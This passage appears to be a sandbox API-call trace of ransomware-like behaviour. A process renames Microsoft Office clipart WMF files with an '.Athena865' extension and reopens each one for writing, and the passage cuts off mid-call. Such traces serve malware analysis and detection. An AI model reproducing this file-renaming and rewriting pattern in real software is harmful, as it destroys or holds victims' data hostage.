wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF.Athena865") returned 73 [0125.257] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf.athena865"), dwFlags=0x1) returned 1 [0125.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.258] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=24908) returned 1 [0125.263] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107182.WMF" | out: lpString1="J0107182.WMF") returned="J0107182.WMF" [0125.263] lstrlenW (lpString="J0107182.WMF") returned 12 [0125.263] lstrlenW (lpString="Athena865") returned 9 [0125.263] lstrcmpiW (lpString1="07182.WMF", lpString2="Athena865") returned -1 [0125.264] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF.Athena865") returned 73 [0125.264] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf.athena865"), dwFlags=0x1) returned 1 [0125.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.265] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16100) returned 1 [0125.270] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107188.WMF" | out: lpString1="J0107188.WMF") returned="J0107188.WMF" [0125.270] lstrlenW (lpString="J0107188.WMF") returned 12 [0125.270] lstrlenW (lpString="Athena865") returned 9 [0125.270] lstrcmpiW (lpString1="07188.WMF", lpString2="Athena865") returned -1 [0125.270] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF.Athena865") returned 73 [0125.270] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf.athena865"), dwFlags=0x1) returned 1 [0125.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.272] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4536) returned 1 [0125.276] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107192.WMF" | out: lpString1="J0107192.WMF") returned="J0107192.WMF" [0125.277] lstrlenW (lpString="J0107192.WMF") returned 12 [0125.278] lstrlenW (lpString="Athena865") returned 9 [0125.278] lstrcmpiW (lpString1="07192.WMF", lpString2="Athena865") returned -1 [0125.279] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF.Athena865") returned 73 [0125.279] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf.athena865"), dwFlags=0x1) returned 1 [0125.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.282] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9968) returned 1 [0125.285] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107254.WMF" | out: lpString1="J0107254.WMF") returned="J0107254.WMF" [0125.285] lstrlenW (lpString="J0107254.WMF") returned 12 [0125.285] lstrlenW (lpString="Athena865") returned 9 [0125.285] lstrcmpiW (lpString1="07254.WMF", lpString2="Athena865") returned -1 [0125.285] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF.Athena865") returned 73 [0125.285] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf.athena865"), dwFlags=0x1) returned 1 [0125.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.286] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=20212) returned 1 [0125.292] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107258.WMF" | out: lpString1="J0107258.WMF") returned="J0107258.WMF" [0125.292] lstrlenW (lpString="J0107258.WMF") returned 12 [0125.292] lstrlenW (lpString="Athena865") returned 9 [0125.292] lstrcmpiW (lpString1="07258.WMF", lpString2="Athena865") returned -1 [0125.292] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF.Athena865") returned 73 [0125.292] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf.athena865"), dwFlags=0x1) returned 1 [0125.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.294] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8552) returned 1 [0125.299] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107262.WMF" | out: lpString1="J0107262.WMF") returned="J0107262.WMF" [0125.299] lstrlenW (lpString="J0107262.WMF") returned 12 [0125.299] lstrlenW (lpString="Athena865") returned 9 [0125.299] lstrcmpiW (lpString1="07262.WMF", lpString2="Athena865") returned -1 [0125.299] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF.Athena865") returned 73 [0125.299] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf.athena865"), dwFlags=0x1) returned 1 [0125.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.300] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7996) returned 1 [0125.303] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107264.WMF" | out: lpString1="J0107264.WMF") returned="J0107264.WMF" [0125.303] lstrlenW (lpString="J0107264.WMF") returned 12 [0125.303] lstrlenW (lpString="Athena865") returned 9 [0125.303] lstrcmpiW (lpString1="07264.WMF", lpString2="Athena865") returned -1 [0125.303] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF.Athena865") returned 73 [0125.304] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf.athena865"), dwFlags=0x1) returned 1 [0125.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.307] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5272) returned 1 [0125.312] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107266.WMF" | out: lpString1="J0107266.WMF") returned="J0107266.WMF" [0125.312] lstrlenW (lpString="J0107266.WMF") returned 12 [0125.312] lstrlenW (lpString="Athena865") returned 9 [0125.312] lstrcmpiW (lpString1="07266.WMF", lpString2="Athena865") returned -1 [0125.312] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF.Athena865") returned 73 [0125.313] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf.athena865"), dwFlags=0x1) returned 1 [0125.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.314] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5868) returned 1 [0125.324] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107280.WMF" | out: lpString1="J0107280.WMF") returned="J0107280.WMF" [0125.324] lstrlenW (lpString="J0107280.WMF") returned 12 [0125.325] lstrlenW (lpString="Athena865") returned 9 [0125.325] lstrcmpiW (lpString1="07280.WMF", lpString2="Athena865") returned -1 [0125.325] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF.Athena865") returned 73 [0125.325] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf.athena865"), dwFlags=0x1) returned 1 [0125.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.326] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=11108) returned 1 [0125.333] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107282.WMF" | out: lpString1="J0107282.WMF") returned="J0107282.WMF" [0125.333] lstrlenW (lpString="J0107282.WMF") returned 12 [0125.334] lstrlenW (lpString="Athena865") returned 9 [0125.334] lstrcmpiW (lpString1="07282.WMF", lpString2="Athena865") returned -1 [0125.334] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF.Athena865") returned 73 [0125.334] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf.athena865"), dwFlags=0x1) returned 1 [0125.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.340] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=14132) returned 1 [0125.350] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107288.WMF" | out: lpString1="J0107288.WMF") returned="J0107288.WMF" [0125.350] lstrlenW (lpString="J0107288.WMF") returned 12 [0125.350] lstrlenW (lpString="Athena865") returned 9 [0125.350] lstrcmpiW (lpString1="07288.WMF", lpString2="Athena865") returned -1 [0125.351] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF.Athena865") returned 73 [0125.351] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf.athena865"), dwFlags=0x1) returned 1 [0125.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.357] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=13436) returned 1 [0125.366] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107290.WMF" | out: lpString1="J0107290.WMF") returned="J0107290.WMF" [0125.367] lstrlenW (lpString="J0107290.WMF") returned 12 [0125.367] lstrlenW (lpString="Athena865") returned 9 [0125.368] lstrcmpiW (lpString1="07290.WMF", lpString2="Athena865") returned -1 [0125.369] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF.Athena865") returned 73 [0125.370] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf.athena865"), dwFlags=0x1) returned 1 [0125.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.374] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12308) returned 1 [0125.379] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107300.WMF" | out: lpString1="J0107300.WMF") returned="J0107300.WMF" [0125.379] lstrlenW (lpString="J0107300.WMF") returned 12 [0125.379] lstrlenW (lpString="Athena865") returned 9 [0125.379] lstrcmpiW (lpString1="07300.WMF", lpString2="Athena865") returned -1 [0125.379] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF.Athena865") returned 73 [0125.379] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf.athena865"), dwFlags=0x1) returned 1 [0125.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.386] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2460) returned 1 [0125.393] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107302.WMF" | out: lpString1="J0107302.WMF") returned="J0107302.WMF" [0125.393] lstrlenW (lpString="J0107302.WMF") returned 12 [0125.393] lstrlenW (lpString="Athena865") returned 9 [0125.393] lstrcmpiW (lpString1="07302.WMF", lpString2="Athena865") returned -1 [0125.393] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF.Athena865") returned 73 [0125.393] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf.athena865"), dwFlags=0x1) returned 1 [0125.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.395] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4136) returned 1 [0125.402] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107308.WMF" | out: lpString1="J0107308.WMF") returned="J0107308.WMF" [0125.403] lstrlenW (lpString="J0107308.WMF") returned 12 [0125.403] lstrlenW (lpString="Athena865") returned 9 [0125.403] lstrcmpiW (lpString1="07308.WMF", lpString2="Athena865") returned -1 [0125.403] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF.Athena865") returned 73 [0125.404] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf.athena865"), dwFlags=0x1) returned 1 [0125.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.408] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=15888) returned 1 [0125.413] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107314.WMF" | out: lpString1="J0107314.WMF") returned="J0107314.WMF" [0125.413] lstrlenW (lpString="J0107314.WMF") returned 12 [0125.413] lstrlenW (lpString="Athena865") returned 9 [0125.413] lstrcmpiW (lpString1="07314.WMF", lpString2="Athena865") returned -1 [0125.414] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF.Athena865") returned 73 [0125.414] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf.athena865"), dwFlags=0x1) returned 1 [0125.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.418] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10852) returned 1 [0125.423] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107316.WMF" | out: lpString1="J0107316.WMF") returned="J0107316.WMF" [0125.423] lstrlenW (lpString="J0107316.WMF") returned 12 [0125.423] lstrlenW (lpString="Athena865") returned 9 [0125.423] lstrcmpiW (lpString1="07316.WMF", lpString2="Athena865") returned -1 [0125.423] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF.Athena865") returned 73 [0125.423] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf.athena865"), dwFlags=0x1) returned 1 [0125.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.427] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=11288) returned 1 [0125.434] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107328.WMF" | out: lpString1="J0107328.WMF") returned="J0107328.WMF" [0125.434] lstrlenW (lpString="J0107328.WMF") returned 12 [0125.434] lstrlenW (lpString="Athena865") returned 9 [0125.434] lstrcmpiW (lpString1="07328.WMF", lpString2="Athena865") returned -1 [0125.434] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF.Athena865") returned 73 [0125.434] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf.athena865"), dwFlags=0x1) returned 1 [0125.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.436] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6532) returned 1 [0125.441] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107342.WMF" | out: lpString1="J0107342.WMF") returned="J0107342.WMF" [0125.442] lstrlenW (lpString="J0107342.WMF") returned 12 [0125.442] lstrlenW (lpString="Athena865") returned 9 [0125.442] lstrcmpiW (lpString1="07342.WMF", lpString2="Athena865") returned -1 [0125.442] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF.Athena865") returned 73 [0125.442] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf.athena865"), dwFlags=0x1) returned 1 [0125.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 